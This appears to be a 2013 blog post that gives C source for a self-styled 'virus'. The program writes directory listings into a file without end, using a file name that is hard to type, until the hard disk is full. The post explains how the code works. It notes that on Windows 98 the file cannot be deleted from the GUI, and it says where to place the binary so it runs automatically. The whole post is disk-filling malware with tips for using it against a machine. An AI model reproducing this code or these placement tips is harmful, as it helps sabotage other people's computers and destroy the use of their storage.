Posted by : Unknown
Friday, 19 April 2013
C - virus code
Here a simple virus program which has only a few lines bur has ability to jam your Hard disc.The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
it can work in os sush as win-98 ,XP
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>╚a.exe");
}
}
Compiling the programme we get v.exe file.This is our virus.
For more explanation read fully ....
How it works?-The system call "dir>>╚a.exe" will execute the dos command 'dir' and ridirect its output toa file ╚a.exe(the symbol ╚ can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of ╚a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete ╚a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.